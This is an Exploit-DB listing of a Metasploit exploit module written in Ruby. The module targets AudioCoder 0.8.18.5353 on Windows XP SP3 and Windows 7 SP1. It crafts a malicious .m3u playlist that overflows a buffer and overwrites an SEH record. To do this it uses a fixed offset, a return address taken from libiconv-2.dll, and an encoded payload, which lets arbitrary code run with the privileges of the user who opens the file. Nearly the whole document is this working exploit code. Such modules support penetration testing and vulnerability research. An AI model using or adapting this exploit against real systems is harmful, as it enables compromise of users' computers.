AudioCoder .M3U Buffer Overflow



EDB-ID: 25296 CVE: N/A OSVDB-ID: 92939
Author: metasploit Published: 2013-05-07 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AudioCoder .M3U Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
        occurs when adding an .m3u, allowing arbitrary code execution with the privileges
        of the user running AudioCoder. This module has been tested successfully on
        AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metacom', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '92939' ],
          [ 'EDB', '25141' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'           => 6596,
          'BadChars'        => "\x00\x5c\x40\x0d\x0a",
          'DisableNops'     => true,
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
              'Offset'  => 765
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 01 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ], self.class)

  end

  def exploit
    buffer = "http://"
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file_create(buffer)
  end
end